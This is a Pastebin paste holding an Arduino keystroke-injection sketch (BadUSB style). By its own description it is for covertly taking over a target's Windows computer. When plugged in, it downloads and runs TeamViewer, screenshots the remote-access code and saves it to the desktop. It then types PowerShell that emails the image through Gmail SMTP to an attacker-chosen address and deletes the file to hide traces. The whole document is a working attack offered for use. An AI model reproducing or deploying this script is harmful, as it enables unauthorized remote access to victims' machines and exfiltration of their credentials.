Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Generated with <3 by Dckuino.js, an open source project !
- */
- #include "Keyboard.h"
- void typeKey(int key)
- {
- Keyboard.press(key);
- delay(50);
- Keyboard.release(key);
- }
- /* Init function */
- void setup()
- {
- // Begining the Keyboard stream
- Keyboard.begin();
- // Wait 500ms
- delay(500);
- // Title: Screenshot Teamviewer code on your email
- // Author: Dude
- // Version: 3
- // Description: I created an arduino script that downloads teamviewer on the targets machine, executes a one time run and then screenshots the code and sends it to your email
- //(You need to change the email adresses to your own, you need gmail)
- delay(3000);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('r');
- Keyboard.releaseAll();
- delay(50);
- Keyboard.print("https://download.teamviewer.com/download/TeamViewer_Setup_nl.exe");
- typeKey(KEY_RETURN);
- delay(40000);
- Keyboard.press(KEY_LEFT_CTRL);
- Keyboard.press('j');
- Keyboard.releaseAll();
- delay(2000);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_RETURN);
- delay(10000);
- typeKey(KEY_DOWN_ARROW);
- typeKey(KEY_DOWN_ARROW);
- delay(200);
- typeKey(KEY_RETURN);
- delay(15000);
- typeKey(206);
- delay(100);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(KEY_F4);
- Keyboard.releaseAll();
- delay(50);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('r');
- Keyboard.releaseAll();
- delay(50);
- Keyboard.print("mspaint");
- typeKey(KEY_RETURN);
- delay(2000);
- Keyboard.press(KEY_LEFT_CTRL);
- Keyboard.press('v');
- Keyboard.releaseAll();
- delay(300);
- typeKey(KEY_LEFT_ALT);
- typeKey('f');
- delay(50);
- typeKey('a');
- delay(50);
- Keyboard.print("code");
- delay(200);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- delay(500);
- typeKey(KEY_RETURN);
- delay(500);
- Keyboard.print("%USERPROFILE%\\Desktop\\");
- delay(500);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_TAB);
- typeKey(KEY_RETURN);
- delay(1000);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(KEY_F4);
- Keyboard.releaseAll();
- delay(50);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('d');
- Keyboard.releaseAll();
- delay(50);
- Keyboard.print("code");
- Keyboard.press(KEY_LEFT_SHIFT);
- Keyboard.press(KEY_F10);
- Keyboard.releaseAll();
- delay(50);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_UP_ARROW);
- typeKey(KEY_RETURN);
- typeKey(KEY_RETURN);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('r');
- Keyboard.releaseAll();
- delay(50);
- Keyboard.print("cmd");
- typeKey(KEY_RETURN);
- delay(1000);
- // --> Mail code.png
- Keyboard.print("powershell");
- typeKey(KEY_RETURN);
- Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
- typeKey(KEY_RETURN);
- Keyboard.print("$file = ");
- Keyboard.press(KEY_LEFT_CTRL);
- Keyboard.press('v');
- Keyboard.releaseAll();
- typeKey(KEY_RETURN);
- Keyboard.print("$att = new-object Net.Mail.Attachment($file)");
- typeKey(KEY_RETURN);
- Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
- typeKey(KEY_RETURN);
- Keyboard.print("$SMTPInfo.EnableSsl = $true");
- typeKey(KEY_RETURN);
- Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUREMAILSENDER@gmail.com', 'THEPASSWORDOFTHEEMAILSENDER')");
- typeKey(KEY_RETURN);
- Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
- typeKey(KEY_RETURN);
- Keyboard.print("$ReportEmail.From = 'YOUREMAILSENDER@gmail.com'");
- typeKey(KEY_RETURN);
- Keyboard.print("$ReportEmail.To.Add('YOUREMAILRECEIVER@gmail.com')");
- typeKey(KEY_RETURN);
- Keyboard.print("$ReportEmail.Subject = 'Code Teamviewer'");
- typeKey(KEY_RETURN);
- Keyboard.print("$ReportEmail.Attachments.Add($att)");
- typeKey(KEY_RETURN);
- Keyboard.print("$SMTPInfo.Send($ReportEmail)");
- typeKey(KEY_RETURN);
- Keyboard.print("exit");
- typeKey(KEY_RETURN);
- delay(100);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(KEY_F4);
- Keyboard.releaseAll();
- delay(50);
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('d');
- Keyboard.releaseAll();
- delay(100);
- Keyboard.print("code");
- typeKey(KEY_DELETE);
- // Ending stream
- Keyboard.end();
- }
- /* Unused endless loop */
- void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement